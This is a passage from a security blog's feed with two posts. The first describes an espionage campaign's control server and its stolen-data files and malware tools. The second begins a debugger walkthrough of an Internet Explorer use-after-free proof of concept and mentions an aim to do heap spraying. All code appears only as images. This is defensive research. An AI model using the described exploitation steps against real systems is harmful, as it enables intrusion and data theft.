&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
During late 2014 and early 2015, the attackers modified the shellcode and the dropped malware family, continuously changing their tools and techniques. Some of the recent exploits involved in this campaign has been found to be dropping PlugX malware . The following images show how the shellcode has been modified between exploits observed on January 6 (at left) and January 28 (at right).&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0U4qZbuSmSkltY3N0ASyP2xzhdHlX0i1uKtQWB2NSRf8mgs4bv3uQcIS-Ljdsiw2twva_UW4Vve3aRA6orVfNIzQodkIC4nWPR-UE4Xsi4xgUbzVGalwxrS0_mGc5FP8-1Sz_FsXlKC4/s1600/image_12.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0U4qZbuSmSkltY3N0ASyP2xzhdHlX0i1uKtQWB2NSRf8mgs4bv3uQcIS-Ljdsiw2twva_UW4Vve3aRA6orVfNIzQodkIC4nWPR-UE4Xsi4xgUbzVGalwxrS0_mGc5FP8-1Sz_FsXlKC4/s1600/image_12.png&quot; height=&quot;221&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
While researching this campaign , I was able to gain access to one interim control server, which appears to be the short-term registration server that the compromised host communicates with after decoding the first-stage URL. The directory structure of the control server is:&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #ffd966;&quot;&gt;/cms:&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
This directory holds all the client data in JavaScript Object Notation from compromised machines connected to this server. The following image shows the directory structure and the information stored in the file:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #93c47d;&quot;&gt;Filename: h_HOST-NAME_TIMEVAR_t.&lt;/span&gt; All the machine information (IP, MAC, OS type, hostname, OS version, infection time stamp, etc.) was recorded on the remote server with this filename.&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXFb956X3TtS3YnHXkzZg_c66CoLo071V2ARV_lrsLxif7uChnVKYnS9DuPIrYy9J9PCuj7Xzu46d1_1dSqpdAh3ZMsgRo8TQdOkfdhwB2GiryLZZJrFSGl_BM4r6MGo9bzjwY6Nn16fY/s1600/image_13.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXFb956X3TtS3YnHXkzZg_c66CoLo071V2ARV_lrsLxif7uChnVKYnS9DuPIrYy9J9PCuj7Xzu46d1_1dSqpdAh3ZMsgRo8TQdOkfdhwB2GiryLZZJrFSGl_BM4r6MGo9bzjwY6Nn16fY/s1600/image_13.png&quot; height=&quot;92&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Next we see how the machine information looks on the control server, highlighting the infection time stamp from late last year:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWZ-NJFEMkTxeWeJr9osLwuLEN21lh_xLYed3NYSUaEIE4STdE1Ht8JfGRqHiP4caY9QRRefh2rJB2VlmdKntBYErPki8Aof9D9MZGHS3KroyaGl_11XpPkDwg_mEj0JIB5wmV_thdlhY/s1600/image1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWZ-NJFEMkTxeWeJr9osLwuLEN21lh_xLYed3NYSUaEIE4STdE1Ht8JfGRqHiP4caY9QRRefh2rJB2VlmdKntBYErPki8Aof9D9MZGHS3KroyaGl_11XpPkDwg_mEj0JIB5wmV_thdlhY/s1600/image1.png&quot; height=&quot;76&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSWXL2x3nGKGFHP3-MDl0V6OYHPtVy2n7XCHfDGH54n8aM3nxOhyphenhyphenUFD8eF33SntoAMbeK8_Oh2YXYgZBWTos1P4XAFpPlFaferA4h1doUOhnRw27mMM_5RImbRFaiRALPYbucCdi29IbM/s1600/image2.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSWXL2x3nGKGFHP3-MDl0V6OYHPtVy2n7XCHfDGH54n8aM3nxOhyphenhyphenUFD8eF33SntoAMbeK8_Oh2YXYgZBWTos1P4XAFpPlFaferA4h1doUOhnRw27mMM_5RImbRFaiRALPYbucCdi29IbM/s1600/image2.png&quot; height=&quot;56&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #93c47d;&quot;&gt;Filename: r_off_PCNAME_TIME_TIME_t&lt;/span&gt;. This holds base-64 encoded data for command-line outputs that ran on the compromised host.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiexXj1VluRvfld6H3blh7O-PFLJpw62bFCRdu-9dlZ1yzj3MZ9tnQfGuN4KHXthEas2zv8yNMHE2QrdN1H7V1fvExfHcvX5Vp5GF7FzkIXMUgCsZ4vubg2cEW7ghKCPpd4dlrYPcwVuNg/s1600/image_14.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiexXj1VluRvfld6H3blh7O-PFLJpw62bFCRdu-9dlZ1yzj3MZ9tnQfGuN4KHXthEas2zv8yNMHE2QrdN1H7V1fvExfHcvX5Vp5GF7FzkIXMUgCsZ4vubg2cEW7ghKCPpd4dlrYPcwVuNg/s1600/image_14.png&quot; height=&quot;83&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Decoding this data reveals the command that was executed on the compromised host and also exposes the list of documents and files on the machine that could have been stolen.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYQCAdgkt-mEI8S-cv9WHtVKam0JButnMnjKt0V0PhAlf1Na_bPRn8Ynla6Y6a_IR4yOaeBDUZlbxaRIgVfTLUZuJiGXrIkZ-GpliVK2l5vRrQcoPS1Yus-Op3ol1GxeukMopbLCYO-oE/s1600/image3.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYQCAdgkt-mEI8S-cv9WHtVKam0JButnMnjKt0V0PhAlf1Na_bPRn8Ynla6Y6a_IR4yOaeBDUZlbxaRIgVfTLUZuJiGXrIkZ-GpliVK2l5vRrQcoPS1Yus-Op3ol1GxeukMopbLCYO-oE/s1600/image3.png&quot; height=&quot;187&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZe4it44hkiJh9t-SrJY5Slxj1fppu09SKw7tZl7_EnsozIWnNQkRi7QnuvEjYOUoTWWM9Hl8m3MfWc7tlbScwRZ2S1E_ySR_-pPJECAlH_2Ia1LHg-4uCRHurqqDo7YFYdEpLfbLQYq8/s1600/image4.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZe4it44hkiJh9t-SrJY5Slxj1fppu09SKw7tZl7_EnsozIWnNQkRi7QnuvEjYOUoTWWM9Hl8m3MfWc7tlbScwRZ2S1E_ySR_-pPJECAlH_2Ia1LHg-4uCRHurqqDo7YFYdEpLfbLQYq8/s1600/image4.png&quot; height=&quot;216&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #93c47d;&quot;&gt;Filename: c_HOSTNAME_TIME_t&lt;/span&gt;. This file holds an encoded WMI script or script variables in the following form:&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0s_T12ChQL3g9C4i_HYc_cU_SBC5Zqjh6auUORtUnWIEoMHlnMmBCDyW4HKvbgb1LzPDJPbpgC9KRwF3R-a_7y-lbafKnAhLCf_IC0HqI9pSdO2f2IcCs4HxmbmtCNc9lzYYb1VsfbcM/s1600/image_15.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0s_T12ChQL3g9C4i_HYc_cU_SBC5Zqjh6auUORtUnWIEoMHlnMmBCDyW4HKvbgb1LzPDJPbpgC9KRwF3R-a_7y-lbafKnAhLCf_IC0HqI9pSdO2f2IcCs4HxmbmtCNc9lzYYb1VsfbcM/s1600/image_15.png&quot; height=&quot;83&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
which turns out to be a readable WMI script when decoded:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSw8-wpedrfWIprpLToOEcV1qObhnM9D4IB9riH8-sOnw00T-Em8NChvlP3x3L2ew35uDjo73dGQtXp0_eUnYqb0KRwe6__UPkCpUKp9N8AKkULVuIzSeIG5phaxhEIuJ5IdazF_YAWag/s1600/image16.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; display: inline !important; margin-bottom: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSw8-wpedrfWIprpLToOEcV1qObhnM9D4IB9riH8-sOnw00T-Em8NChvlP3x3L2ew35uDjo73dGQtXp0_eUnYqb0KRwe6__UPkCpUKp9N8AKkULVuIzSeIG5phaxhEIuJ5IdazF_YAWag/s1600/image16.png&quot; height=&quot;112&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white; color: #53565a; font-family: intel_clear_wregular, Helvetica, Arial, sans-serif; font-size: 15.1200008392334px; line-height: 18.1440010070801px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #93c47d;&quot;&gt;Filename: d_rdown_HOSTNAME_TIME_t&lt;/span&gt;. This file is uploaded from the compromised host to the control server.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #93c47d;&quot;&gt;Filename: rdown_HOSTNAME_TIME_t&lt;/span&gt;. This file is downloaded from the control server to the compromised machine. It could contain post-exploitation tools to run on the host.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #f6b26b;&quot;&gt;/tools:&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhE1Zor9iXL8zCew7ekQ5Dsoj3-2ZykwjSChoNWTqIlRRv8Y468L6X50ODpwVu9198bpousze7FiS6Pffoqegfbo3ZGp7COt92L8UJh2ABOcNTHSBc_98qGSjgafRaQ4_B42DG5wYITafI/s1600/image_17.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhE1Zor9iXL8zCew7ekQ5Dsoj3-2ZykwjSChoNWTqIlRRv8Y468L6X50ODpwVu9198bpousze7FiS6Pffoqegfbo3ZGp7COt92L8UJh2ABOcNTHSBc_98qGSjgafRaQ4_B42DG5wYITafI/s1600/image_17.png&quot; height=&quot;108&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
The tools directory hosts several post-exploitation tools and malware to be downloaded from the control server to run on compromised machines. We found malicious DLLs, rootkits, encoded JavaScript malware, and cab files. One of the WMI scripts is an installer for other malware:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh49fYDBty2apyejeWISv1XtYSbG6eECAghVKRJNDb8NMXTL7-uxBq2Aa6XBmbvuWhDaoWbVmdJNY67gHoNS4CdjezmWU-BfnufLWfQ699oALlZmBRpfK8PSsYMqQypn8TCKQ9M6TKFm8A/s1600/image_18.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh49fYDBty2apyejeWISv1XtYSbG6eECAghVKRJNDb8NMXTL7-uxBq2Aa6XBmbvuWhDaoWbVmdJNY67gHoNS4CdjezmWU-BfnufLWfQ699oALlZmBRpfK8PSsYMqQypn8TCKQ9M6TKFm8A/s1600/image_18.png&quot; height=&quot;220&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
I have been able to track down the location of many of this campaign’s control servers, primarily in the United States and China. More than 60% of the servers were hosted in the United States and more than 20% were hosted in China.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjileP3APT9uGQOm8KmmHMqNeq78zEFznzpZkKh0-zlHDPjenXtHeWPgKyxXsm4nDqu4FRyWS9HctNjtrEKbDiEK2TvECY6KPJNpg3YWrCa_7PosZNX3I4UKdpHZ4SGVulvqzbrfCiZNeA/s1600/image_19.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjileP3APT9uGQOm8KmmHMqNeq78zEFznzpZkKh0-zlHDPjenXtHeWPgKyxXsm4nDqu4FRyWS9HctNjtrEKbDiEK2TvECY6KPJNpg3YWrCa_7PosZNX3I4UKdpHZ4SGVulvqzbrfCiZNeA/s1600/image_19.png&quot; height=&quot;180&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Attackers are continuously on the lookout for social engineering opportunities. Influencing targeted users to open malicious documents following national events is one the most effective and effortless ways of performing these espionage attacks. Users need to exercise extreme caution when opening documents from unknown sources and use patched software.&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
I would like to thank my fellow researcher Brad Arndt for assistance in researching and tracking this campaign.&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
</description><link>http://extreme-security.blogspot.com/2015/02/espionage-attacks-on-indian.html</link><author>noreply@blogger.com (Chintan Shah)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEja90J5DrgdNmWCdi4IuF98WnTei3Tnx4PZkeZB_wraPOO-Kbw3M3tIl8BF5udmp-ya7CATgASPAxD8Zb2_O-HeXftlvpgKCOE1MDjA_GM89XHAeHNNUwr3w3a1XF9N3F37ERlVY6hMgFA/s72-c/image_11.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7570290518879810718.post-6665110416201239692</guid><pubDate>Sun, 04 Jan 2015 05:32:00 +0000</pubDate><atom:updated>2019-02-06T10:05:25.572+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">Vulnerability and Exploit Research</category><title>Analyzing 2014-0282 Internet Explorer CInput Use-after-Free Vulnerability..!!</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Sometime during the mid of the last year, Proof-of-Concept code for the Use-after-Free vulnerability was published on the &lt;a href=&quot;https://www.exploit-db.com/exploits/33860&quot; target=&quot;_blank&quot;&gt;exploit-db&lt;/a&gt; effecting Internet Explore 8, 9 and 10. I was kind of interested in picking up this exploit code and debug to see the inner workings of the exploit and checkout how it looks like in the debugger. Another motive of debugging this exploit was to spend some cycles to do the precision heap spray technique to control the placement of the shellcode on the heap address of our choosing.&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Let&#39;s start by taking a quick look at the published exploit code on exploit-db and walk through it to gain some basic understanding of what should we expect, when we execute this code inside the debugger.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpzPvHYo_1ed8Srv3vHZ-ZdEijQPL81s1vBmimPn2A9HhHrlxIO2Sa7hFb1dcBo-SzGKW3YIKPkNseYvCmQAYbYxkmlwQNHCpLTRo6ethNg1t0n9A4wDXLOsYUiA-41Q8GclI1gYR8Jxk/s1600/1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;668&quot; data-original-width=&quot;1381&quot; height=&quot;193&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpzPvHYo_1ed8Srv3vHZ-ZdEijQPL81s1vBmimPn2A9HhHrlxIO2Sa7hFb1dcBo-SzGKW3YIKPkNseYvCmQAYbYxkmlwQNHCpLTRo6ethNg1t0n9A4wDXLOsYUiA-41Q8GclI1gYR8Jxk/s400/1.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In the above PoC code,&amp;nbsp; a form with the id &quot;testfm&quot; is created following which 2&amp;nbsp; &quot;TextArea&quot; and 2 &quot;Input&quot; elements and are created. If we notice the changer( ) function in the PoC code, it frees up the contents of the form where the &quot;TextArea&quot; objects are also freed up.&amp;nbsp; In the last portion of the script, element &quot;child2&quot; is being set to true and changer ( ) function is set to be called on the property change event of child2 element.&lt;br /&gt;
&lt;br /&gt;
If you look at the code closely, in the last part, reset( ) function is called&amp;nbsp; and iterated over the form element, which actually calls the CFormElement::DoReset ( ) function. This function will basically iterate over the each of the 4 elements of the form and resets its properties, In the iteration where the &quot;child2&quot; element properties is reset, changer( ) function is called and the form properties is reset which will also free the &quot;child3&quot; element properties. Eventually, in the last iteration, it will try to reset the properties of &quot;child3&quot; element and since the object is already freed, Reset( ) function call on that element will crash.&lt;br /&gt;
&lt;br /&gt;
Let&#39;s try to execute this code in the debugger and see if we encounter the crash in IE 8.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4k1VsPMG4iNQWaRV7wBE1ZMeCjXtKYwsw4g3qHqU7HcBvfRwf-PL5wdBrrHOHCam6mr0vRNGUM-t8V2D0HNHa9T9EUmcywEIIERzUxkmB2VFimgbNrglBS4h0qOnOeu1K9VMbnSvIwkM/s1600/2.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;490&quot; data-original-width=&quot;1111&quot; height=&quot;176&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4k1VsPMG4iNQWaRV7wBE1ZMeCjXtKYwsw4g3qHqU7HcBvfRwf-PL5wdBrrHOHCam6mr0vRNGUM-t8V2D0HNHa9T9EUmcywEIIERzUxkmB2VFimgbNrglBS4h0qOnOeu1K9VMbnSvIwkM/s400/2.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
As expected, IE crashes in the debugger, if we checkout the state of the IE in the debugger we can apparently see that Instruction pointer ( EIP )&amp;nbsp; is pointing to the invalid memory and consequently it is crashing at that point since it is not able to disassemble the code.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
